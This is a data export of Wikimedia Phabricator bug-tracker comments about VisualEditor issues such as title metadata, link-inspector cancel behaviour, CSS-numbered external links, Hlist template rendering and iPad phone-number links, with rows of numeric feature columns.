+Chris has it right - it's effectively asking to implement DISPLAYTITLE properly, rather than DISPLAYTITLEIFNEEDEDTOBEANOVERRIDE.",,,1378766620,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,True,,,10,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+250384,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","According to James F at  bug 50452 comment 9 ""for this to be used in VisualEditor it would need to be a proper feature and not one hacked into a template""
+
+The idea is not just to store what the title should be displayed as when it doesn't match the default, but to record what the title actually is in all cases. Presently there is afaik no way to tell that for example [[Parish ale]] is a common noun, [[Parish Walk]] is a proper noun and [[Parish Bar]] is a proper noun that should be italicised.",,,1378283614,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+250383,"Pages should have metadata about their correct title (capitalisation, special characters, etc)","I'm confused. Is this asking to move {{DISPLAYTITLE:...}} out of wikitext?
+
+Displaytitle is a form of metadata, and it gets stored in the db separately, and can be queried separately, etc.",,,1377892939,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-lmosmab7pjd2m5cnmo2t,task_subcomment,,True,c1,3,False,,,8,,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,1,0,0,1
+55546,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","If you start to add a link, and change your mind (e.g., you realized that you have the wrong word selected), there is no way to simply cancel adding a link.  You have to remove the link with the trashcan icon.
+
+Steps to reproduce:
+
+1. Select any word.
+2. Press ctrl-K to enter link tool.
+3. Attempt to cancel the link by closing the unwanted link tool dialog box using Esc key or the < button.
+4. Discover that VisualEditor linked the word anyway.
+
+If the Escape key and ""Cancel"" button are worthless for escaping/going back/cancelling, then they shouldn't be present or have any effect.
+
+({T93749} altered this to re-add the cancel/close button.)",Low,25.0,1377799620,1433183735.0,PHID-USER-uf3buojo4ceizjywvyn5,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-reeypst4562edb7eoqfi,task_description,resolved,True,c1,3,False,False,False,8,,1,0,0,0,1,1,1,0,0,1,1,1,0,0,1,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,1
+466909,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Change 209695 merged by jenkins-bot:
+Only apply annotations if 'done' is clicked
+
+[[https://gerrit.wikimedia.org/r/209695]]",,,1433183692,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,100,,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+465715,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Change 209695 had a related patch set uploaded (by Jforrester):
+Only apply annotations if 'done' is clicked
+
+[[https://gerrit.wikimedia.org/r/209695]]
+",,,1432909435,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,99,,0,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+454848,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","We now have a ""Remove"" button, which is nice, but since the link is automatically created when you open the inspector, most people don't know that if you did nothing and want nothing to make the link, then you still need to ""Remove"" the link that you didn't know you already made.",,,1430939284,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,96,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,1,0,0,0,1,0,0,1,1,0,1,1,0,0,1,1,0,0,0,1,0,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,1,0
+446568,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","Maybe we should label the ""cancel"" button ""remove"" or somesuch? I don't know…",,,1429559622,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,94,,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0
+249361,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing",*** Bug 56431 has been marked as a duplicate of this bug. ***,,,1395197399,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+249356,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","I'm not sure that the < button is going to be interpreted as ""close and apply"".  It looks to me a lot more like a ""get me out of here"" or ""go back (to how things were)"" button.  I think that it ought to be treated the same as an Escape key.",,,1378763198,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,10,,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1
+249353,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","I'm getting very frustrated with the current behaviour of the link tool in this regard.
+
+When I am in the link dialog and I press escape I want the dialog to exit and leave the page in the state it was in before I loaded the dialog, ignoring any changes I have made and whether I was adding or modifying a link.
+
+The current behaviour of the < button (close and apply the current state) and the rubbish bin (close and remove link) are correct. 
+
+There also though needs to be a button/icon though that closes and cancels all changes made (this is bug 52462).",,,1378124944,,PHID-USER-ysftv67jxeaxdwcakvwo,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,False,,,9,,1,0,1,0,0,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+249349,"VisualEditor: Inspectors apply if you exit from them without a positive action, which can be a bit confusing","This is due to fixing bug 51065; we can either have one or the other, but not both. I'm minded to stick with the behaviour as it now is, as it's less confusing that the previous form was.
+
+Consequently, marking as WONTFIX. Very happy to be argued around to the opposite behaviour, however.",,,1377834959,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-reeypst4562edb7eoqfi,task_subcomment,,True,c1,3,True,,,8,,0,0,1,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+55505,VisualEditor: Provide a way for users to edit auto-numbered external links,"The Parsoid team is considering a simplification of the different mw:ExtLink/* variants to just a single mw:ExtLink type. 
+
+For most types this should not make much of a difference to VE, but for auto-numbered external links ([http://example.com]) it might, so I am looking for your input. I did some testing on https://www.mediawiki.org/wiki/User:GWicke/TestNumberedLinks. Changes to the text lead to corruption as in this diff:
+
+https://www.mediawiki.org/w/index.php?title=User%3AGWicke%2FTestNumberedLinks&diff=772988&oldid=772987
+
+There also does not seem to be any automatic re-numbering when a numbered link is changed into a plain external link.
+
+What are you plans for the handling of numbered links?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1377728940,1386002036.0,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,False,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_description,resolved,True,c1,3,True,False,False,8,,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1
+246850,VisualEditor: Provide a way for users to edit auto-numbered external links,*** Bug 57755 has been marked as a duplicate of this bug. ***,,,1386000770,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,22,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246847,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 98114 merged by jenkins-bot:
+Make autonumbered external links inspectable
+
+https://gerrit.wikimedia.org/r/98114",,,1385801891,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+246842,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 98114 had a related patch set uploaded by Catrope:
+Make autonumbered external links inspectable
+
+https://gerrit.wikimedia.org/r/98114",,,1385662180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,21,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246837,VisualEditor: Provide a way for users to edit auto-numbered external links,*** Bug 57419 has been marked as a duplicate of this bug. ***,,,1385489060,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246831,VisualEditor: Provide a way for users to edit auto-numbered external links,"Though the code in gerrit 90432 is merged, that just adjusts how VisualEditor works with auto-numbered links to support Parsoid's changed behaviour - this bug remains undone. Resetting to ASSIGNED.",,,1382368642,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,16,,0,0,0,1,0,1,0,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0
+246828,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 90432 merged by jenkins-bot:
+Add a node type for numbered external links
+
+https://gerrit.wikimedia.org/r/90432",,,1382353256,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246824,VisualEditor: Provide a way for users to edit auto-numbered external links,"Change 90432 had a related patch set uploaded by Catrope:
+Add a node type for numbered external links
+
+https://gerrit.wikimedia.org/r/90432",,,1382043276,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,False,,,15,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+246818,VisualEditor: Provide a way for users to edit auto-numbered external links,"I guess that means that we can go ahead and drop the explicit numbering in Parsoid in favor of pure CSS. We will also drop the /Numbered typeof suffix along with the other mw:ExtLink suffixes.
+
+You will then get empty links with typeof=""mw:ExtLink"" as in this example.",,,1377816806,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,0
+246811,VisualEditor: Provide a way for users to edit auto-numbered external links,"
+* Supports:
+  - http://caniuse.com/#feat=css-sel3 (CSS3 :empty)
+  - http://caniuse.com/#feat=css-counters (counter-increment)
+  - http://caniuse.com/#feat=css-gencontent (:before)
+
+* Test case: http://jsfiddle.net/wTNc4/
+  - Works fine in IE9: http://cl.ly/image/2r2L1F3U2X0r
+
+I wonder why it didn't work for James?",,,1377816701,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,0
+246806,VisualEditor: Provide a way for users to edit auto-numbered external links,"(In reply to comment #5)
+> Please test this test with IE as well. I am hopeful that it works with IE >=
+> 8.
+
+In IE9 you get ""not empty"" but none of the other four links.
+
+In IE10 and IE11 you get all five links as expected.",,,1377816286,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+246801,VisualEditor: Provide a way for users to edit auto-numbered external links,"Yeah, you need the UI for the creation of empty links. But there is no need to deal with renumbering etc in VE, which simplifies things a lot.
+
+Please test this test with IE as well. I am hopeful that it works with IE >= 8.",,,1377814874,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1
+246794,VisualEditor: Provide a way for users to edit auto-numbered external links,"(In reply to comment #3)
+> With a href set this actually works as expected in FF and Chrome:
+
+[…]
+
+> So it seems that we can actually implement auto-numbered links in pure CSS.
+
+That's great. :-)
+
+We will still need a way of creating an auto-numbered external link (rather than just being able to copy and alter them), but that's our problem. :-)",,,1377814131,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,1,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,1
+246789,VisualEditor: Provide a way for users to edit auto-numbered external links,"With a href set this actually works as expected in FF and Chrome:
+
+<html><head>
+<style>
+body {
+    counter-reset: numberedlink;
+}
+a[typeof~=""mw:ExtLink""]:empty:after {
+    content: ""["" counter(numberedlink) ""]"";
+    counter-increment: numberedlink;
+}
+</style>
+</head>
+<body>
+<a href=""test"" typeof=""mw:ExtLink""></a>
+<a href=""test"" typeof=""mw:ExtLink"">not empty</a>
+<a href=""test"" typeof=""mw:ExtLink""></a>
+<a href=""test"" typeof=""mw:ExtLink""></a>
+<a href=""test"" typeof=""mw:ExtLink""></a>
+</body>
+</html>
+
+So it seems that we can actually implement auto-numbered links in pure CSS.",,,1377813350,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+246785,VisualEditor: Provide a way for users to edit auto-numbered external links,See http://www.w3.org/TR/css3-content/ for the relevant spec.,,,1377811927,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+246782,VisualEditor: Provide a way for users to edit auto-numbered external links,"Maybe this could even be handled in CSS, somewhat like this example:
+
+<html><head>
+<style>
+body {
+    color: red;
+    counter-reset: numberedlink;
+}
+a[typeof~=""mw:ExtLink""]:empty:before {
+    content: ""["" counter(numberedlink) ""]"";
+    counter-increment: numberedlink;
+}
+</style>
+</head>
+<body>
+<a typeof=""mw:ExtLink""></a>
+<a typeof=""mw:ExtLink""></a>
+<a typeof=""mw:ExtLink""></a>
+<a typeof=""mw:ExtLink""></a>
+</body>
+</html>
+
+Problems in this simple experiment:
+
+* Links are not clickable, and (maybe related)
+* the content can only be generated :before and :after, but not inside the empty link.",,,1377811764,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-pu5wfoxxn6nblwrmsxy7,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1
+55340,VisualEditor: trouble with Template:Hlist,"Reporting user comment, some formatting is mine:
+<<I made this http://en.wikipedia.org/wiki/User:Atethnekos/sandbox4 as a demonstration. 
+1) If the hlist template is used in an infobox or a table like on the page, when I go to VE, the list will end up be extended far into the page. 
+2) If it's used with [[File:Image]] as on the page, the list will end up being cut off, and then some weird things will happen if I try to click on the hlist template (e.g., the page will be extended to right and my browser will give a horizontal scroll bar). FF 23.0.1 Win7--Atethnekos 19:33, 25 August 2013 (UTC) >>
+
+I edited his sandbox a couple of times. In this version http://en.wikipedia.org/w/index.php?title=User:Atethnekos/sandbox4&oldid=570256245&veaction=edit the pics of the masks are moved to the left: the caption of the first one is not cut out, but you can't edit the pics at all since VE will consider them as a non editable block.
+I can't reproduce the horizontal bar and I can correctly edit the hlist template inside the mask pic caption with both FF and Chrome.
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1377521880,1590760929.0,PHID-USER-wil4b5lylrvf3krixlkl,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-l6w6nyonc7ci3mnehffx,task_description,resolved,True,c1,3,False,False,False,8,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,1,0,1,1,0,1,1,1,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+1514071,VisualEditor: trouble with Template:Hlist,"The previous comments don't explain what/who exactly this task is //stalled// on ([""If a report is waiting for further input (e.g. from its reporter or a third party) and can currently not be acted on""](https://www.mediawiki.org/wiki/Bug_management/Bug_report_life_cycle)).
+
+> the list will end up be extended far into the page.
+Does not seem to happen anymore:
+
+{F31846960}
+
+> If it's used with [[File:Image]] as on the page, the list will end up being cut off, and then some weird things will happen if I try to click on the hlist template (e.g., the page will be extended to right and my browser will give a horizontal scroll bar).
+
+Cannot reproduce in Firefox 76.
+
+>  but you can't edit the pics at all since VE will consider them as a non editable block.
+
+If I understand correctly then I cannot reproduce:
+
+{F31846963}
+
+{F31846962}
+
+If this still happens then please follow https://www.mediawiki.org/wiki/How_to_report_a_bug (clear steps to reproduce; what's expected; what happens instead; in separate sections) and reopen this ticket.
+
+For the records, wiki text test case here is
+```
+{{Infobox philosopher
+|image = File:NAMA Masque esclave.jpg
+|caption = Geloius: copy of portrait bust by [[Silanion]]
+|name = Geloius
+|birth_place = [[Athens]]
+|main_interests  = {{hlist |nullus |primus |secundus |tertius |quartus |quintus |sextus |septus |octavus |nonus |decimus |et ceterus }}
+}}
+```
+
+",,,1590760929,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-l6w6nyonc7ci3mnehffx,task_subcomment,,True,c1,3,True,,,360,,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,1,1,0,1,1,1,1,1,1,0,1,0,0,1,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+55315,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"Same as #51959, but it keeps hapenning on frwiki: some texts that look like telephone numbers are changed in <a href=""tel:..."">...</a>.
+
+http://fr.wikipedia.org/w/index.php?title=Les_Visiteurs_(film,_1993)&diff=95954243&oldid=95559259
+
+http://fr.wikipedia.org/w/index.php?title=Transformers_3_:_La_Face_cach%C3%A9e_de_la_Lune&diff=96093057&oldid=95089445
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**OS**: other
+**Platform**: Other
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=51959",Low,25.0,1377428640,1430334450.0,PHID-USER-o34e5i3eq4nstbvcf26w,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-26knsdpm5excrpowc3dw,task_description,resolved,True,c1,3,False,False,False,7,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+451296,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,On re-testing this is now fixed.,,,1430334450,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,95,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+236015,VisualEditor: Safari on iPad converts numbers that resemble phone numbers to href=tel: links,"(In reply to Elitre from comment #10)
+> So, James, is this what we are going to do, adding this line? Thanks.
+
+Yes, experimentation as to what triggers Safari to break things, and what changes cause it to stop breaking, is needed.",,,1398787080,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-26knsdpm5excrpowc3dw,task_subcomment,,True,c1,3,True,,,43,,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
